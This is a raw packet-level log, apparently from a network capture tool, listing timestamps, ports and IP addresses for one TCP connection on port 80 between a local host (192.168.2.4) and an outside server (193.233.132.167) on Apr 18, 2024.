Apr 18, 2024 23:40:14.390661001 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390669107 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390674114 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390685081 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390686989 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390697956 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390708923 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390719891 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390721083 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390733957 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390743971 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390747070 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390753984 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390762091 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390774012 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390786886 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390786886 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390799046 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390810966 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390821934 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390822887 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390839100 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390857935 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390866041 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390877962 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.390906096 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390934944 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.390994072 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391005039 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391017914 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391028881 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391037941 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.391040087 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391051054 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391052961 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391056061 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.391062975 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391086102 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.391099930 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.391256094 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391269922 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391284943 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391297102 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391311884 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391324997 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.391324997 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391334057 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.391351938 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.391354084 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391366005 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391376972 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391379118 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391380072 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.391381979 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391391993 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391395092 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391396999 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.391396999 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391400099 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391408920 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.391419888 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.391450882 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392159939 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392174006 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392185926 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392213106 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392241001 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392389059 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392400980 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392411947 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392422915 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392433882 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392442942 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392452955 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392465115 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392476082 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392477036 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392488956 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392493963 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392499924 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392510891 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392519951 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392522097 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392533064 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392543077 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392546892 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392553091 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392560959 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392571926 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392577887 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392587900 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392601967 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392606020 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392617941 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392628908 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392632961 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392643929 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392653942 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392669916 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392672062 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392684937 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392694950 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392702103 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392716885 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392719984 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392733097 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392744064 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392748117 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392762899 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392769098 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392776966 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392791986 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392791986 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392808914 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392817974 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392822981 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392838001 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392843962 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392858028 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392860889 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392873049 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392884016 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392884016 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392894983 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392901897 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392906904 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392918110 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392925024 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392940998 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392946959 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392952919 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392965078 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392972946 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.392976999 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392988920 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.392999887 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.393001080 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393013000 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393023968 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393026114 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.393038034 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393038988 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.393049955 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393062115 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393069029 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.393073082 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393084049 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393095970 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393098116 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.393106937 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393115044 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.393117905 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393130064 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393136978 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.393141985 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393152952 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393156052 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.393163919 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393174887 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393177986 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.393184900 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393197060 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393199921 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393202066 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.393203020 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393204927 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393207073 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393209934 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393212080 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393213987 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393215895 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393227100 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393227100 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.393229008 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393230915 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393233061 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393234015 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393235922 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.393250942 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.393280029 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.393304110 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.636666059 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.636689901 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.636748075 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.636769056 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.636794090 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.636796951 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.636814117 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.636833906 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.636841059 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.636862040 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.636898041 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.636909962 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.636928082 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.636945009 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.636965036 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.636969090 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.636984110 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.636990070 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637001991 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637025118 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637020111 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637046099 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637058020 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637058020 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637065887 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637084007 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637084007 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637085915 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637104988 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637105942 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637129068 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637136936 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637151957 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637154102 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637173891 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637192011 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637197018 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637197018 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637209892 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637219906 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637232065 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637238979 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637253046 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637270927 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637289047 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637293100 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637293100 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637299061 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637310028 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637320995 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637326002 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637373924 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637396097 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.637957096 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637975931 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.637995005 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638011932 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638012886 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638046980 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638047934 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638071060 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638077021 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638097048 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638115883 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638128996 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638148069 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638164043 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638169050 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638189077 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638206005 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638216019 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638225079 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638236046 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638254881 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638254881 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638273954 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638276100 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638334990 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638356924 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638375044 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638401031 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638411045 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638430119 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638454914 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638456106 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638467073 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638478994 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638485909 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638505936 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638524055 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638535023 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638542891 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638556004 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638561010 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638580084 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638580084 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638582945 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638602018 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638603926 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638621092 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638623953 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638638973 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638672113 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638715029 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638734102 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638751984 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638768911 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638783932 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638787031 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638803959 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638820887 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638823986 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638839960 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638844013 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638856888 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638863087 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638878107 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638880968 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638900995 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638916016 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638920069 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638937950 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638940096 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638955116 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638959885 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638978958 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.638989925 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.638997078 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639015913 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639027119 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639034986 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639044046 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639054060 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639059067 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639072895 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639095068 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639096975 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639096975 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639112949 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639121056 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639131069 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639141083 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639153957 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639159918 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639173031 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639190912 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639194012 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639194012 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639210939 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.639211893 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639229059 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.639230013 CEST	80	49746	193.233.132.167	192.168.2.4
